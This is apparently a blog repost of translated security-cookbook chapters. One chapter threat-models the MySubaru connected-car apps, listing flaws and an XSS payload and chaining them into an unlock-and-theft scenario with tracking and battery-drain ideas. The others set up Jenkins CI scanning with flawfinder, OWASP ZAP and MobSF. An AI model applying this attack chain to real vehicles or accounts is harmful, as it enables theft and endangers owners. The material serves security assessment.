进行任何评估的第一步是威胁建模;在这种情况下,从黑盒的角度对 2017 年 Subaru WRX STi 连接车辆进行威胁建模。首先确定车辆的入口点,这将提供一个已识别的攻击面,可以在此基础上构建。

步骤 1 - 确定资产和入口点

每辆车都不同,有些型号比其他型号拥有更多的功能。研究 Subaru 连接车辆和不同型号和年份之间的功能之间的公开资源。例如,我们知道连接车辆可以通过蜂窝 4G/LTE 连接访问互联网,但其他车辆可能通过手机连接或其他方式(如 Wi-Fi)获得互联网访问。让我们从这里开始,在执行任何主动攻击阶段之前记录我们对目标车辆的了解:

  • 蜂窝连接:Subaru 连接车辆通过 AT&T 4G LTE 连接到互联网(about.att.com/story/att_subaru_bring_4G_lte_to_select_model_year_vehicles.html)。

  • Wi-Fi:目标 Subaru 车辆中没有 Wi-Fi。

  • 蓝牙:车载娱乐系统通过蓝牙连接设备,以访问媒体、设备通讯录和消息。

  • 钥匙链:要进入和启动这辆特定的车辆,需要钥匙链。钥匙链在 314.35-314.35 MHz 的频率范围内传输(fccid.io/HYQ14AHC)。

  • USB 连接:车载娱乐系统使用 USB 连接设备的媒体以及 GPS 和车载娱乐系统本身的更新。

  • SD 卡:车载娱乐系统有一个 microSD 卡插槽用于 GPS 地图。

  • OBD II:用于访问 CAN 总线进行诊断,并可以在车辆上刷写 ECU 图像以进行调整或其他性能修改。

  • CAN 总线:每辆车都有一个或多个 CAN 总线用于车内通信。CAN 总线本身是容易受到攻击的,可以使用免费工具进行嗅探。

  • 移动应用程序:Subaru 的 Starlink 车载技术连接到 MySubaru 应用程序,允许您远程锁定和解锁车辆,访问您的喇叭和灯光,查看车辆健康报告,并在地图上找到您的车辆。要使用这些功能,必须购买订阅。

  • 网络应用程序:除了 MySubaru 移动应用程序外,Subaru 的 Starlink 车载技术连接到一个网络界面,允许您远程锁定和解锁车辆,访问您的喇叭和灯光,更改用户设置,安排服务,添加授权用户,并在地图上找到您的车辆。要使用这些功能,必须购买订阅。

现在我们已经列出了连接车辆的入口点,我们对首要攻击目标有了更好的了解。我们还可以根据我们的技能和舒适度来评估努力的程度。

步骤 2 - 找到最薄弱的环节

对车载娱乐系统和 CAN 总线的研究已经很多。在蓝牙、Wi-Fi 或钥匙链中发现的任何协议漏洞可能会变成一个零日漏洞,并需要相当长的时间。话虽如此,让我们把注意力转向 MySubaru 移动应用程序和网络应用程序。对于移动和网络应用程序,与车辆的接近并不是必要的。所需的只是一个 STARLINK Safety Plus 和 Security Plus 订阅,支持的车型和 MySubaru 账户的凭据。这很好,因为我们可以同时处理这三个应用程序。此外,Subaru 已经委托通过其移动和网络应用程序解锁、锁定、按喇叭和定位车辆。目标应用程序是 MySubaru Android 和 iOS 应用程序的 1.4.5 版本。发现的任何应用程序级别的漏洞可能会产生高级别的影响,也可能对 Subaru 车主构成安全问题。

步骤 3 - 侦察

由于我们将精力集中在应用程序上,我们需要对所有三个应用程序进行一定程度的侦察。让我们先从移动应用程序开始,然后再转向网络应用程序。

安卓应用程序

在执行动态测试之前,Android 应用程序很容易进行静态拆解和分析。反向 Android 应用程序需要一定程度的努力,但如果我们能发现低 hanging fruit,那么我们就能轻松获胜。我们首先需要通过第三方市场获取 MySubaru 应用程序,并确保它与 Google Play 版本相同。验证后,应采取以下步骤对 MySubaru Android 应用程序进行基线侦察:

  • 使用 MobSF 或类似工具拆解 APK:

  • 分析类和方法

  • 识别第三方库

  • 确定应用程序是原生的还是混合的

  • 寻找硬编码的值

  • 寻找潜在的秘密和环境

  • 安装应用程序并监视 Android 组件

  • 活动、服务和意图

  • 分析数据存储

  • SD 卡使用

  • SharedPreferences.xml

  • 缓存

  • SQLite 数据库

  • 代理 Android 应用程序到车辆的所有 API 请求,使用 Burp Suite 或类似工具。

  • 登录/注销

  • 解锁/锁定

  • 按喇叭

  • 闪烁灯光

  • 找到车辆

  • 查看车辆健康报告

  • 编辑车辆详细信息

确保为 Android 通信进行颜色编码的高亮显示和注释。这将有助于在编译用于识别 Android 漏洞的不同 API 调用时,以及其他 Subaru 应用程序时使用。

iOS 应用程序

在反向 iOS 应用程序时,需要更多时间来获取 IPA 文件,解密它,将应用程序二进制文件传输到我们的主机计算机,然后努力找到漏洞。在这种情况下,我们必须通过 App Store 下载 MySubaru 应用程序,并执行解密和二进制传输到我们的主机计算机。完成后,应采取以下步骤对 iOS MySubaru 应用程序进行基线侦察:

  • 使用 Hopper 或类似工具拆解 iOS 二进制文件:

  • 分析类和方法(使用 Class-dump-z)

  • 识别第三方库

  • 确定应用程序是原生的还是混合的

  • 寻找硬编码的值

  • 寻找潜在的秘密和环境

  • 安装应用程序并监视 iOS 组件:

  • 通过 URL schemes 进行 IPC

  • 分析数据存储:

  • Plists

  • SQLite 数据库

  • Cache.db

  • 本地存储

  • 代理 iOS 应用程序到车辆的所有 API 请求,使用 Burp Suite 或类似工具:

  • 登录/注销

  • 解锁/锁定

  • 按喇叭

  • 闪烁灯光

  • 找到车辆

  • 查看车辆健康报告

  • 编辑车辆详细信息

应该注意 iOS 和 Android API 调用之间的差异。数据存储也应该注意,重点放在个人详细信息和凭据上。应根据对两个应用程序执行的侦察来确定潜在的障碍。例如,两个移动应用程序都通过POST请求发送远程服务调用,其中包含一个sessionId参数值,对于每个请求都是唯一的。

这可能会妨碍我们伪造远程服务请求的能力,因为这个值是唯一的,而不是硬编码的值。在 iOS 应用程序中发现的一个关键观察是将所有 HTTP 请求和响应缓存到Cache.db SQLite 数据库中。Cache.db中的所有数据都是明文,包括车辆详细信息、个人所有者详细信息、帐户令牌和 API 请求,攻击者可以在备份 iOS 设备或使用 iFunbox 等免费工具时提取这些数据。

以下截图显示了 URL 中带有handoffToken令牌的缓存请求:

网络应用程序

接下来,我们将查看 MySubaru 网络应用程序,并检查所有 HTTP 请求和响应。MySubaru 网络应用程序包含移动应用程序没有的其他选项,例如添加授权用户或更改帐户 PIN 码。代理网络应用程序流量时,应确保点击和分析所有状态配置更改,例如以下列出的更改:

  • 登录/注销

  • 锁定/解锁

  • 按喇叭

  • 闪烁灯光

  • 找到车辆

  • 查看车辆健康报告

  • 编辑车辆详细信息

  • 添加车辆

  • 添加和删除授权用户

  • 更改 PIN

  • 更改密码

  • 更改安全问题

  • 更改个人账户详情

应该注意网络应用程序和移动应用程序之间的所有差异。到目前为止,网络应用程序和移动应用程序之间的一个主要区别是远程服务 API 请求如何发送到 Subaru 服务器。API 端点对所有应用程序保持不变,如果我们发现漏洞可以利用,这将是有用的。

以下屏幕截图显示了 Burp Suite 中所有应用程序的 HTTP 历史记录,并进行了颜色编码:

第 4 步 - 识别漏洞

在我们的 Web 代理中记录了所有应用程序功能和 API 调用后,我们现在可以开始识别设计中的漏洞,并测试逻辑缺陷以寻找漏洞。以下是观察到的漏洞列表:

  1. 网络应用程序通过 URL 发送所有远程服务调用,作为GET请求,而移动应用程序则将远程服务调用作为POST发送,参数在请求体中。在网络应用程序中没有随机生成的sessionIds用于执行远程服务调用。

  2. 移动应用程序没有强制证书固定和验证。

  3. iOS 应用程序的所有请求和响应都被缓存。

  4. 账户配置更改,如编辑车辆详情或添加授权用户,不包含反 CSRF 令牌。

  5. 当添加授权用户时,所有者不会收到通知。

  6. 账户 PIN 的更新不需要知道先前设置的 PIN。

  7. 安全问题的更新不需要重新身份验证,没有最小字符长度,并且可以都是相同的值,如 1。

  8. 授权用户对 Subaru 远程服务拥有完全访问权限,并且没有添加限制。

  9. 所有应用程序都没有并发登录策略。

以下是不需要身份验证或先前了解设置即可进行更改的 PIN 和安全问题更新配置部分的屏幕截图:

现在我们可以开始更改反映用户输入到屏幕的配置参数值。由于我们未被授权在此情况下发送恶意有效负载,所有努力将是手动的,并且参数将通过 Burp Suite 的重放器手动输入。考虑到这一点,我们可以尝试基本的 XSS 有效负载,并观察是否存在任何验证和/或编码。首先想到的反映我们参数值的位置是车辆昵称。似乎一个普通的<script> alert(1)</script>可以在浏览器中执行。

这现在是一个经过身份验证的跨站脚本XSS)漏洞,可能对我们有用(漏洞#10)。以下是 XSS 的屏幕截图:

接下来,我们可以检查其他 API 逻辑缺陷,例如是否执行了速率限制,或者 API 请求是否可以在不修改的情况下重放。这可以通过将 HTTP 请求发送到 Burp Suite 的重放器并重放请求来完成。我们将发现在进行远程服务调用时没有重放或速率限制安全控制(漏洞#11)。尽管在 API 请求之间需要一个短暂的 5 秒间隔,以便车辆执行请求。

另一个要测试的逻辑缺陷是移动应用程序和 Subaru 服务器之间的登录过程。Subaru 通过POST主体传递用户凭据,然后在验证后将用户重定向到其帐户仪表板。在登录过程中,账户凭据成功验证后,将向 Subaru 的服务器发送一个GET请求,其中包括用户名、handoffToken 和其他参数。这是在 iOS 应用程序的Cache.db中找到的相同 HTTP 请求,但令牌值不同。这个GET请求可以被复制并粘贴到浏览器中,并且可以自动登录到 MySubaru 账户,而无需用户名或密码(漏洞#12)。此外,handoffToken 永远不会过期,即使 MySubaru 用户注销了网络和移动应用程序,它仍然有效。即使更改密码也不会使此令牌过期。这是一个很好的发现,因为我们现在可以在车主不知情的情况下持久访问 MySubaru 账户。与 handoffToken 相关的另一个问题是为新设备和已授权用户创建新令牌,这些用户登录其 MySubaru 移动应用程序。例如,所有者使用两部 iPhone 和两部 Android 设备登录其 MySubaru 账户。现在有四个活动的 handoffToken。这也适用于已授权用户。例如,两个已授权用户(carhackingemail@gmail.comcarhackingemail1@gmail.com)使用三个设备登录其 MySubaru 移动应用程序。现在已授权用户有六个活动令牌,这扩大了对一个 MySubaru 账户的攻击面。以下是一个示例,显示了两个已授权用户账户carhackingemail@gmail.comcarhackingemail1@gmail.com,它们使用三个不同的移动设备并获得了不同的 handoffToken 值:

第 5 步-利用-链接漏洞

通过被动和主动分析已经确定了至少 11 个漏洞。一些漏洞可以直接利用,而其他一些可能间接利用,因为应用程序的逻辑和设计。为了访问车辆而无需钥匙、车钥匙或凭据,我们应该有所需的东西。

通过查看已识别的安全漏洞,需要用户干预才能成功利用 MySubaru 所有者的账户和车辆。我们可以通过几种方式来做到这一点。我们可以尝试以下攻击场景,这依赖于一种社会工程学形式:

  • 制作一个恶意页面,其中包含用于车辆昵称的 XSS 有效负载

  • 获取 handoffToken 以获得有效的会话

  • 通过 CSRF 添加已授权用户

  • 通过 CSRF 伪造解锁远程服务调用目标 Subaru 车辆

  • 更改安全问题

  • 更改 PIN

  • 赚钱$$

可以用于获得有效的handoffToken的其他攻击场景包括:

  • 受害者使用攻击者设备登录,可以从缓存中提取令牌

  • 受害者将移动设备(Android/iOS)备份到攻击者的计算机上,攻击者将受害者的备份还原到包含 handoffToken 的测试移动设备中

  • 攻击者窃取已授权用户的令牌而不是车主

  • 通过 Wi-Fi 热点或其他方式进行中间人攻击

  • 通过 iFunBox 获取Cache.db(iOS)

  • 审计日志通过URL GET请求泄漏 handoffToken,可以被 Subaru 的系统管理员、检查网络流量的企业网络管理员和无线热点获取

攻击者不仅可以未经授权地访问车辆,还可以跟踪车主并将其安全置于危险之中。还可以探索其他后利用场景,例如以下内容:

  • 窃取车辆内的内容

  • 破坏车辆的引擎

  • 保持对 MySubaru 账户的持久性,该账户可能有多辆车辆

  • 植入带外跟踪器

  • 植入恶意 Wi-Fi 接入点 w/GSM,以远程连接来利用附近的接入点或车辆

  • 重放远程服务请求,如锁定车辆以耗尽电池

您可能已经注意到,这些都是基本的网络安全漏洞,而不是突破性的零日漏洞利用。对于利用基本漏洞的影响,对于物联网连接的设备和车辆来说要高得多。

另请参阅

访问以下网页,阅读本配方中讨论的研究:

为固件配置持续集成测试

为 C/C++编写的固件构建可能对具有复杂 Makefile 的传统产品构成挑战。然而,在部署生产构建之前,所有源代码都应该进行静态分析,以检测安全漏洞。本配方将展示如何在持续集成环境中为固件配置基本的 C/C++静态分析。

准备工作

对于本配方,我们将使用以下应用程序和工具:

  • Jenkins:这是一个开源的构建自动化服务器,可以定制运行质量和安全代码分析。Jenkins 可以通过以下链接jenkins.io/download/下载。根据操作系统的不同,有各种安装 Jenkins 的方法。对于 Debian 和 Ubuntu,可以使用以下命令安装 Jenkins:
wget -q -O - https://pkg.jenkins.io/debian-stable/jenkins.io.key | sudo apt-key add -

  • 将以下行添加到/etc/apt/sources.list
deb https://pkg.jenkins.io/debian-stable binary/
sudo apt-get update
sudo apt-get install jenkins

  • Fuzzgoat:这是一个易受攻击的 C 程序,可以通过以下 GitHub 存储库github.com/packttestaccount/fuzzgoat下载。使用以下命令将 fuzzgoat 应用程序克隆到您的 Jenkins 构建服务器中:
 git clone https://github.com/packttestaccount/fuzzgoat.git

通过 pip 简单安装 Flawfinder 的方法如下:

pip install flawfinder

如何做…

要设置固件的持续集成测试,请使用以下步骤创建您的环境。

  1. 安装了 Jenkins 后,登录并单击“新建项目”:

确保您的JAVA_HOME环境变量已配置。如果使用了多个 Java 版本,请确保通过 Jenkins 的全局工具配置在http://127.0.0.1:8080/configureTools/中配置 JDK。

  1. 输入名称并选择自由风格项目:

  1. 配置页面将出现。暂时不要输入任何设置,因为我们将在构建项目后加载一个本地项目到 Jenkins 将创建的工作空间中。构建将失败,这没关系,因为我们只是希望 Jenkins 创建目录,然后我们将把我们的 C 代码项目文件复制到工作空间中。这一步也将用于以下配方中创建工作空间:

  1. 单击保存按钮后,Jenkins 将重定向您到项目页面,我们将选择“立即构建”:

现在,Jenkins 已经构建了我们的工作空间,我们可以在其中传输我们的代码文件。目录结构因所使用的操作系统而异。对于 Ubuntu,工作空间文件位于/var/lib/Jenkins/workspace/,对于 OS X,工作空间文件位于/Users/Shared/Jenkins/Home/workspace/。将 fuzzgoat 文件传输到新创建的工作空间目录中,该目录以项目名称命名。在这种情况下,它是/var/lib/Jenkins/workspace/PacktTestFirmware/

确保 Jenkins *Nix 用户具有适当的文件和文件夹权限,以扫描workspace目录中的任何内容。这还包括工具扫描相关目录的权限。

  1. 现在 fuzzgoat 在 Jenkins 工作空间目录中,返回 Jenkins 构建项目并添加一个构建步骤来执行一个 shell 命令,该命令将在我们的workspace目录中执行flawfinder

  1. 添加另一个构建步骤来执行另一个 shell 命令。这将在基于 fuzzgoat 提供给我们的 Makefile 的工作目录中执行make命令。之后单击保存:

  1. 在项目页面中选择立即构建选项。单击永久链接箭头,然后选择控制台输出,如下图所示:

  1. 接下来的页面应该显示构建和flawfinder的结果:

构建步骤可以定制以警报工程或安全经理根据结果执行操作。但是,并非所有来自flawfinder的命中都是漏洞,但应该对其进行审查,以确保没有引入软件安全漏洞。请记住,flawfinder是一个简单的工具,提供了最少量的 C/C++代码检查。它只是检查常见的缓冲区溢出问题和其他众所周知的问题,比如使用被禁止的函数。商业 SAST 工具包括依赖图以及调用图,以检查依赖软件漏洞和应用程序数据流。此外,许多商业 SAST 工具还包括 IDE 插件,用于实时检查软件安全漏洞。对于 C/C++,XCode 的 Clang 静态分析器有免费的 IDE 插件;但是,在 OS X 环境中编译此类代码需要自定义配置。Clang 不会分析无法编译的文件。在配置移动应用程序的持续集成测试部分,我们将讨论如何使用 IDE 插件来静态分析代码。

另请参阅

有关 Clang 静态分析器的更多信息,请访问以下链接:

有关各种编程语言的更多源代码分析工具列表,请参阅以下网址:

为 Web 应用程序配置持续集成测试

无论物联网设备使用 Web 应用程序还是 Web 服务进行消息传递,其代码都应该进行静态和动态分析,以查找软件安全漏洞。在这个示例中,我们将演示如何在生产部署之前配置 Web 应用程序构建的动态扫描。

准备工作

在这个示例中,我们将使用 Jenkins 作为我们的自动化构建服务器,OWASP ZAP 作为我们的动态扫描器。我们将使用 OWASP ZAP Jenkins 插件和可以通过以下链接下载的 OWASP ZAP 工具:

github.com/zaproxy/zaproxy/wiki/Downloads

如何做...

要为 Web 应用程序设置持续集成测试,请使用以下步骤创建您的环境。

  1. 首先,我们需要下载 OWASP ZAP 插件,可以通过 Jenkin 的插件管理器完成,如下截图所示:

OWASP ZAP 插件下载

  1. 然后 Jenkins 将重新启动。重新登录 Jenkins,我们将致力于配置 ZAP。在 Jenkins 中使用 ZAP 有两种方法。一种是使用加载的会话运行 ZAP,另一种是设置 Selenium 来执行 ZAP 并在之后保持会话。我们将设置 ZAP 以加载会话来运行我们的目标构建。为此,我们首先需要通过http://127.0.0.1:8080/configure 配置 ZAP 设置和环境变量。在这种情况下,设置 ZAP 主机和端口号如下图所示:

可以配置多个 ZAP 主机以允许多个并发构建扫描。这可以在各个项目的构建步骤中配置,这将覆盖系统设置。

  1. 根据正在使用的操作系统(github.com/zaproxy/zaproxy/wiki/FAQconfig),插入 ZAP 的默认目录。以下是 ZAP 在 OS X 上使用的默认目录:

如果您使用 ZAP 的每周版本,请使用/Users/<user>/Library/Application\ Support/ZAP_D/

  1. 现在,创建一个自由风格项目,就像我们在之前的配方中所做的那样,并适当命名它:

  1. 保存项目并选择立即构建,以便 Jenkins 创建我们的项目工作空间,就像之前的配方一样。

由于我们将使用加载的会话执行 ZAP,我们必须创建一个会话并将其保存在项目工作空间目录中。为此,请导航到正在运行的目标应用程序构建,并通过浏览器将应用程序流量代理到 ZAP。确保点击所有链接,并爬行页面并执行应用程序功能。在以下示例中,我们正在使用在本地端口8888上运行的 The BodgeIT Store,并通过导航到文件|持久会话...将会话保存到项目工作空间中:

  1. 在我们项目的 Jenkins 工作空间目录中保存会话。在这种情况下,如下截图所示,在工作空间项目目录中的 PacktZAPscan:

PacktZAPscan 在工作空间项目目录中

  1. 在 ZAP 中,让我们配置 ZAP 的 API 密钥。转到工具菜单并打开选项页面。在选项中,选择 API 部分,并插入由 Jenkins 插件提供的默认ZAPROXY-PLUGIN密钥,如下截图所示:

请注意,此 API 密钥可以完全禁用,或者在创建构建步骤时通过 ZAP 插件命令行参数部分进行更改。如果 API 密钥与 Jenkins 插件 API 密钥值不匹配,则扫描将失败。

  1. 有了我们在工作空间中保存的会话,返回到我们的项目并选择配置。根据应用程序架构,插入适当的源代码管理设置,构建环境和任何构建脚本。在构建部分,选择添加构建步骤|执行 ZAP:

  1. 输入 ZAP 主机设置和主目录路径,以及保存的适当会话。如果会话未保存在项目工作空间文件夹中,则会话将不会出现在加载会话下拉菜单中:

  1. 输入会话属性,如上下文和任何身份验证凭据。上下文指的是自动扫描的范围内和范围外的目标。上下文必须是唯一的,并且不能在加载的会话中。我们可以使用构建 ID 环境变量来迭代上下文编号,使它们是唯一的,如下面的屏幕截图所示:

  1. 接下来的部分是攻击模式部分。在这里,我们指定目标 URL、扫描设置和可能配置并保存到项目工作区的任何自定义扫描策略。在即将到来的示例中,测试 URL 是输入的,选择了蜘蛛,并配置了一个自定义的 XSS 扫描策略。当没有指定自定义扫描策略时,将使用默认策略。配置攻击设置后,命名生成的报告,选择格式和任何导出报告设置,然后点击保存:

确保权限设置正确,以便 Jenkins 和 ZAP 可以扫描您的工作区目录。

  1. 然后您将被引导到项目页面。选择立即构建,然后点击构建的控制台输出。这将显示 ZAP 扫描的构建状态和进度:

控制台输出应该类似于以下图像:

控制台输出

  1. 构建和扫描完成后,在工作区项目目录下的reports文件夹中生成报告,如下面的屏幕截图所示:

  1. 报告的 XML 和 HTML 版本可供查看:

ZAP 扫描和报告的警报可以被大量定制,只报告中等和/或高严重性的发现。扫描应该根据应用程序的架构创建上下文细节和扫描策略。例如,如果一个应用程序在 Apache web 服务器、Apache Tomcat 应用服务器和 MySQL 数据库上运行,扫描策略应该被定制为针对相应的架构环境运行检查。不建议运行默认扫描策略,因为将使用不相关的攻击,导致扫描时间过长,甚至可能耗尽 ZAP 的内部数据库资源。扫描器的好坏取决于给定的配置、规则集和策略。

自动化扫描非常适合捕捉低挂果和可扩展性,但它们不应该取代手动的 Web 应用程序安全评估。自动扫描程序无法执行上下文业务逻辑测试,也无法智能地捕捉手动评估可以发现的未报告的发现。应该使用自动化和手动测试的组合。

另请参阅

要了解有关 Jenkins OWASP ZAP 插件的更多信息,请参考以下链接:

wiki.jenkins.io/display/JENKINS/zap+plugin

wiki.jenkins.io/display/JENKINS/Configure+the+Job#ConfiguretheJob-ConfiguretheJobtoExecuteZAP

为移动应用程序配置持续集成测试

在之前的示例中,自动化分析的趋势相同,这个示例将展示如何在生产部署之前配置 Android 应用程序构建的依赖扫描和动态分析。

准备工作

在这个示例中,我们将使用 Jenkins 自动化构建服务器和以下工具:

  • 移动安全框架MobSF):这是一个开源的移动应用程序静态和动态分析工具。MobSF 正在积极地为移动安全社区进行修改和开发。MobSF 可以从以下链接下载:

github.com/MobSF/Mobile-Security-Framework-MobSF/archive/master.zip

  • OWASP Dependency-Check:这是一个工具,用于检测项目依赖项中公开披露的漏洞,适用于多种编程语言,如 Java、NodeJS、Python、Ruby 和 Swift 等。我们将使用 Jenkins OWASP Dependency-Check 插件,该插件可以通过 Jenkins 插件管理器下载,如下面的屏幕截图所示:

  • Dependency-Check 也可以作为一个独立的工具下载,使用以下链接中描述的方法:

github.com/jeremylong/DependencyCheck

如何做...

要为移动应用程序设置持续集成测试,请使用以下步骤创建您的环境。

  1. 首先,让我们创建一个自由风格的项目,为应用程序构建选择一个合适的名称:

  1. 保存并构建项目,以便我们的工作空间被创建,就像我们在早期的简单示例中所做的那样。接下来,将 Android 项目文件复制到 Jenkins 为我们创建的新工作空间中,如下面的屏幕截图所示。

在这种情况下,我们工作空间的路径是/Users/Shared/Jenkins/Home/workspace/PacktTestAndroid

  1. 接下来,打开项目的配置选项,并设置构建设置,如下面的屏幕截图所示:

  1. 为您的构建环境输入任何必要的构建脚本:

如果这是一个现有的项目,您可能已经知道构建完成后输出 APK 将被放置的位置。对于新项目,请确保您的构建编译为 APK。知道在运行构建时 APK 存储的位置是扫描构建 APK 的下一步的关键。

  1. 在一个单独的窗口中,打开一个终端并导航到 MobSF 安装的位置。一旦在 MobSF 的文件夹中,运行以下命令:
$ python manage.py runserver
  1. 您的终端应该看起来像下面的屏幕截图:

请注意 MobSF 的 API 密钥,因为我们需要它来从 Jenkins 构建服务器执行 REST API 调用。

当通过clean.sh脚本删除所有扫描和 MobSF 数据库信息时,API 密钥会更改。

  1. 导航回到我们 Android 项目的 Jenkins 配置页面。添加一个构建步骤来执行一个 shell 命令:

  1. 在命令区域,我们将执行 REST API 调用来上传我们构建的 APK 到 MobSF。为此,您需要拥有您的 REST API 密钥以及构建后 APK 存储的位置。使用以下命令并插入您的 API 密钥以及 API 文件路径,就像下面显示的curl命令一样:
curl --fail --silent --show-error -F 'file=@/Users/Shared/Jenkins/Home/workspace/PacktTestAndroid/app/build/outputs/apk/app-debug.apk' http://localhost:8000/api/v1/upload -H "Authorization:61ecd74aec7b36f5a9fbf7ac77494932ab5fcf4e4661626d095b5ad449746998" | awk -F'[/"]' '{print $8}' >  hash.txt  

这个curl命令上传了我们的最新构建 APK 到我们的工作空间,然后将被扫描。MobSF 创建了上传二进制文件的哈希值,这是其他 API 调用中需要引用您特定二进制文件的内容。awk命令只是解析 JSON 响应数据,并将哈希值插入一个文件中,以便在以后的 MobSF API 请求中调用。

  1. 上传了我们的 APK 后,添加另一个构建步骤来执行一个 shell 命令,并插入以下命令,包括您的 APK 名称和 API 密钥值以扫描构建:
curl --fail --silent --show-error -X POST --url http://localhost:8000/api/v1/scan --data "scan_type=apk&file_name=app-debug.apk&hash=$(cat hash.txt)" -H "Authorization:61ecd74aec7b36f5a9fbf7ac77494932ab5fcf4e4661626d095b5ad449746998"
  1. MobSF 扫描 APK 需要几分钟的时间,因此让我们创建另一个执行 shell 构建集,并插入以下sleep命令:
Sleep 180

sleep命令可以根据 MobSF 分析您特定应用程序所需的时间进行更改。在这种情况下,大约需要两分钟。请记住,如果您等待的时间不够长,MobSF 无法扫描 APK 并尝试下载报告,那么报告将是空的。

  1. 接下来,创建另一个构建步骤来生成并下载刚才提到的 PDF。插入以下命令及您相应的 API 密钥:
curl --fail --silent --show-error  -K hash.txt -X POST --url http://localhost:8000/api/v1/download_pdf --data  "hash=$(cat hash.txt)&scan_type=apk" -H "Authorization:61ecd74aec7b36f5a9fbf7ac77494932ab5fcf4e4661626d095b5ad449746998" -o MobSF${BUILD_ID}.pdf

您可以选择任何您喜欢的名称来命名 MobSF 报告。为了使报告唯一,使用了构建 ID 环境变量。Jenkins 现在应该能够从我们构建的 APK 上传、扫描、生成和下载 MobSF 报告。

  1. 我们还可以添加一个构建步骤来调用 Dependency-Check,扫描我们项目的依赖项以查找已知的漏洞:

  1. Dependency-Check 的扫描路径构建步骤应为空,因为工作空间目录中的项目文件将被扫描并用于在工作空间中输出结果:

确保权限正确设置,以便 Jenkins 和 Dependency-Check 可以扫描您的工作空间目录。

  1. 您的项目配置构建步骤应该类似于以下屏幕截图:

项目配置构建步骤

  1. 保存项目配置并构建 Android 应用程序。查看 Android 应用程序项目的控制台输出以查看构建进度。第一个构建步骤是构建实际的应用程序 APK,然后执行 MobSF 扫描功能,最后使用 Dependency-Check 扫描项目的依赖项:

控制台输出

  1. 以下屏幕截图显示了上传和扫描 APK 的第二和第三个构建步骤:

上传和扫描 APK 的构建步骤

  1. 接下来是第四、第五和第六个构建步骤,分别执行sleep命令,生成 MobSF 扫描结果的 PDF,并扫描项目的依赖项:

  1. 如果您检查项目工作空间,现在应该有一个 MobSF 报告以及一个 Dependency-Check 报告:

  1. 单击 MobSF 和 Dependency-Check 报告应该打开其各自格式的扫描输出(MobSF 的 PDF 格式,Dependency-Check 的 HTML、JSON、XML 格式),如下图所示:

扫描结果的输出

  1. 以下图片是 Dependency-Check 的 HTML 报告:

这些扫描报告可以配置为发送到集中的报告服务器,以及执行诸如发送电子邮件警报或 Jira 工单等操作,如果发现了某些严重性发现。Jenkins 具有比本章介绍的更高级功能更高度的可定制性。一个伟大的 OWASP 项目,可以帮助应用程序安全团队提高安全测试的速度和自动化程度,是 OWASP AppSec Pipeline 项目(www.owasp.org/index.php/OWASP_AppSec_Pipeline)。讨论了 AppSec 管道的各种工具和设计模式,以使小型安全团队在代码推送速度的情况下尽可能具有可扩展性和高效性。

另请参阅

  • Jenkins 插件 Dependency-Check 还配备了一个位置,用于存档多个应用程序依赖项以及跨应用程序使用的易受攻击组件,名为 OWASP Dependency-Track。这可以通过http://JenkinsURL:8080/configure在 OWASP Dependency-Track 部分进行配置。有关 OWASP Dependency-Track 的更多详细信息,请参见以下链接:

www.owasp.org/index.php/OWASP_Dependency_Track_Project

posted @ 2024-05-04 14:54  绝不原创的飞龙  阅读(86)  评论(0编辑  收藏  举报